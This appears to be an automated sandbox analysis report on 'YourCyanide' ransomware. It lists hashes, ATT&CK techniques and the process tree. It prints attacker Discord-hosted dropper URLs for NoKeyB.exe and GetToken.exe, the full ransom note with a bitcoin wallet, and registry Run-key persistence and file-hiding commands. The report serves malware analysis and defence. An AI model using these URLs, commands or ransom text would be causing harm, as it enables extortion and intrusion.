4b3efbf87fb31216a93954617e149825b9f029b4a37ea0fff9851eb363693424

Resubmissions

22/07/2024, 10:50

240722-mxrjasvajk 10

19/05/2022, 17:19

220519-vv97maaad7 10

19/05/2022, 17:15

220519-vskh7acghq 10

Analysis

max time kernel
21s
max time network
105s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
19/05/2022, 17:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

YourCyanide.cmd
Size

153KB
MD5

69eb09a987e1bfe31418cd020811b81d
SHA1

d7dd4d7f065f078cf55a7c0c1f4bcd9ec52096d6
SHA256

4b3efbf87fb31216a93954617e149825b9f029b4a37ea0fff9851eb363693424
SHA512

8ff7aafd71231704edd19f5aef32ebf181918d3e02afb909e82271c11ec2d16da3bebc8eeb0246821bcda07f8c499a7c0e4fb438f723b448945d27d3b714815b

Score

10^/10

evasion persistence ransomware

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.discordapp.com/attachments/974798125011198003/976894591552860220/NoKeyB.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.discordapp.com/attachments/971160786015772724/971191444410875914/GetToken.exe

Extracted

Path

C:\Users\Admin\Desktop\YcynNote.txt

Ransom Note

Q: What happened to my files? A: Oops your files have been encrypted by YourCyanide. Q: how can I get them back? A: You can get them back by paying $500 in bitcoin to this btc wallet bc1qrl532s9r2qge8d8p7qlrq57dc4uhssqjexmlwf. Q: What happens if I dont pay? A: You will never get your files back. A: contact at [email protected]. ++++++++++++++++++++++++++++++++++++++++++++ 7510 Files have been encrypted

Emails

[email protected]

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2856	powershell.exe

Disables Task Manager via registry modification
evasion
Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1896	NoKeyB.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\rundll32_24201_toolbar = "C:\\Users\\Admin\\AppData\\Local\\Temp\\YourCyanide.cmd"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
6708	tasklist.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
5316	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
6584	systeminfo.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4120	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4376	reg.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Documents\%AIdDu:~10	cmd.exe

Opens file in notepad (likely ransom note) 7 IoCs

ransomware

pid	Process
1788	NOTEPAD.EXE
4388	NOTEPAD.EXE
1960	NOTEPAD.EXE
1584	NOTEPAD.EXE
1664	NOTEPAD.EXE
4868	NOTEPAD.EXE
4824	NOTEPAD.EXE

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2856	powershell.exe
2856	powershell.exe
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe
4992	tskill.exe
4992	tskill.exe
1416	scrnsave.scr
1416	scrnsave.scr
1240	tskill.exe
1240	tskill.exe
1184	scrnsave.scr
1184	scrnsave.scr
2984	scrnsave.scr
2984	scrnsave.scr
4392	tskill.exe
4392	tskill.exe
1804	scrnsave.scr
1804	scrnsave.scr
3928	tskill.exe
3928	tskill.exe
2504	scrnsave.scr
2504	scrnsave.scr
4268	scrnsave.scr
4268	scrnsave.scr
4488	tskill.exe
4488	tskill.exe
1564	Conhost.exe
1564	Conhost.exe
5060	scrnsave.scr
5060	scrnsave.scr
4928	tskill.exe
4928	tskill.exe
3132	tskill.exe
3132	tskill.exe
4444	tskill.exe
4444	tskill.exe
2244	tskill.exe
2244	tskill.exe
4500	tskill.exe
4500	tskill.exe
1976	cmd.exe
1976	cmd.exe
1332	cmd.exe
1332	cmd.exe
4664	tskill.exe
4664	tskill.exe
4828	scrnsave.scr
4828	scrnsave.scr
4840	Conhost.exe
4840	Conhost.exe
4736	tskill.exe
4736	tskill.exe
4816	scrnsave.scr
4816	scrnsave.scr
3924	scrnsave.scr
3924	scrnsave.scr
728	tskill.exe
728	tskill.exe
3544	tskill.exe
3544	tskill.exe
3340	scrnsave.scr
3340	scrnsave.scr
1320	tskill.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeDebugPrivilege	3396	powershell.exe
Token: SeDebugPrivilege	4120	scrnsave.scr

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1896	NoKeyB.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
1896	NoKeyB.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1896	NoKeyB.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1572 wrote to memory of 4444	1572	cmd.exe	80
PID 1572 wrote to memory of 4444	1572	cmd.exe	80
PID 1572 wrote to memory of 2428	1572	cmd.exe	81
PID 1572 wrote to memory of 2428	1572	cmd.exe	81
PID 1572 wrote to memory of 3448	1572	cmd.exe	82
PID 1572 wrote to memory of 3448	1572	cmd.exe	82
PID 1572 wrote to memory of 3836	1572	cmd.exe	83
PID 1572 wrote to memory of 3836	1572	cmd.exe	83
PID 1572 wrote to memory of 2156	1572	cmd.exe	86
PID 1572 wrote to memory of 2156	1572	cmd.exe	86
PID 1572 wrote to memory of 2332	1572	cmd.exe	88
PID 1572 wrote to memory of 2332	1572	cmd.exe	88
PID 1572 wrote to memory of 2856	1572	cmd.exe	90
PID 1572 wrote to memory of 2856	1572	cmd.exe	90
PID 3448 wrote to memory of 4136	3448	cmd.exe	91
PID 3448 wrote to memory of 4136	3448	cmd.exe	91
PID 2156 wrote to memory of 5068	2156	cmd.exe	92
PID 2156 wrote to memory of 5068	2156	cmd.exe	92
PID 2332 wrote to memory of 4060	2332	cmd.exe	93
PID 2332 wrote to memory of 4060	2332	cmd.exe	93
PID 3836 wrote to memory of 4084	3836	cmd.exe	94
PID 3836 wrote to memory of 4084	3836	cmd.exe	94
PID 3448 wrote to memory of 4672	3448	cmd.exe	95
PID 3448 wrote to memory of 4672	3448	cmd.exe	95
PID 2156 wrote to memory of 1316	2156	cmd.exe	96
PID 2156 wrote to memory of 1316	2156	cmd.exe	96
PID 2332 wrote to memory of 4688	2332	cmd.exe	97
PID 2332 wrote to memory of 4688	2332	cmd.exe	97
PID 3836 wrote to memory of 4836	3836	cmd.exe	98
PID 3836 wrote to memory of 4836	3836	cmd.exe	98
PID 3448 wrote to memory of 4352	3448	cmd.exe	99
PID 3448 wrote to memory of 4352	3448	cmd.exe	99
PID 2332 wrote to memory of 4736	2332	cmd.exe	100
PID 2332 wrote to memory of 4736	2332	cmd.exe	100
PID 2156 wrote to memory of 424	2156	cmd.exe	101
PID 2156 wrote to memory of 424	2156	cmd.exe	101
PID 3836 wrote to memory of 4784	3836	cmd.exe	102
PID 3836 wrote to memory of 4784	3836	cmd.exe	102
PID 2332 wrote to memory of 4604	2332	cmd.exe	103
PID 2332 wrote to memory of 4604	2332	cmd.exe	103
PID 3448 wrote to memory of 2840	3448	cmd.exe	104
PID 3448 wrote to memory of 2840	3448	cmd.exe	104
PID 2156 wrote to memory of 4756	2156	cmd.exe	105
PID 2156 wrote to memory of 4756	2156	cmd.exe	105
PID 3836 wrote to memory of 1204	3836	cmd.exe	108
PID 3836 wrote to memory of 1204	3836	cmd.exe	108
PID 2332 wrote to memory of 4416	2332	cmd.exe	106
PID 2332 wrote to memory of 4416	2332	cmd.exe	106
PID 3448 wrote to memory of 4008	3448	cmd.exe	107
PID 3448 wrote to memory of 4008	3448	cmd.exe	107
PID 2156 wrote to memory of 116	2156	cmd.exe	109
PID 2156 wrote to memory of 116	2156	cmd.exe	109
PID 2332 wrote to memory of 3532	2332	cmd.exe	111
PID 2332 wrote to memory of 3532	2332	cmd.exe	111
PID 3836 wrote to memory of 3588	3836	cmd.exe	110
PID 3836 wrote to memory of 3588	3836	cmd.exe	110
PID 3448 wrote to memory of 1880	3448	cmd.exe	112
PID 3448 wrote to memory of 1880	3448	cmd.exe	112
PID 2332 wrote to memory of 1500	2332	cmd.exe	114
PID 2332 wrote to memory of 1500	2332	cmd.exe	114
PID 2156 wrote to memory of 1768	2156	cmd.exe	113
PID 2156 wrote to memory of 1768	2156	cmd.exe	113
PID 1572 wrote to memory of 1896	1572	cmd.exe	117
PID 1572 wrote to memory of 1896	1572	cmd.exe	117

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
4444	attrib.exe
1872	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\YourCyanide.cmd"
1⤵
- NTFS ADS
- Suspicious use of WriteProcessMemory
PID:1572
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\YourCyanide.cmd
  2⤵
  - Views/modifies file attributes
  PID:4444
- C:\Windows\system32\rundll32.exe
  RUNDLL32 USER32.DLL SwapMouseButton
  2⤵
  PID:2428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3448
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4136
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4672
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4352
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2840
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4008
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1880
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4036
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:504
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1236
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4384
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3784
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2508
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:692
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4740
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:424
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:208
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5072
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4372
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:752
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3768
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4128
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4180
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4248
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4236
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2148
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4808
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3920
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2832
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:692
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2044
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:404
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4284
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4196
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1112
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:532
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2960
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4128
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4900
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2628
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1584
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4728
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4720
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3340
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1304
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4864
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2136
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4452
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4156
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1296
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4088
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2984
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2504
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1832
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4356
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4284
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4172
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2808
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3128
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4236
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1804
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1364
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4432
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3924
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3580
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1776
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2280
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4088
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3836
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4084
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4836
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4784
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1204
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3588
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2808
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1688
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3316
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4744
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4360
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2288
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3168
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4848
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3340
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4224
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1992
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3716
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4876
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4924
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:628
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1808
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1968
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1184
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2148
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4496
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3492
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4680
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3924
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3332
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3380
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4036
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2924
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5056
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:900
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1100
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3316
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4264
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4360
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1564
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1976
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3172
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3160
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4816
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4352
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1172
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2812
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:364
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1000
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4904
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:612
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2136
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3616
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1968
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1664
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5068
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1316
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:424
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4756
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:116
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1768
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:628
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2788
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4028
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:540
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3932
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4092
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4084
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4888
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1320
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3848
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4640
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3272
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2808
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2924
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1616
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1000
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4588
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1664
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4200
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3784
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3492
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4120
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4716
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3648
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:816
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4172
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:116
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4640
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1500
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4940
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1476
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:860
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1664
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3936
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1564
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5068
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4748
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4184
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:816
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2304
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3716
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1824
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4960
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3396
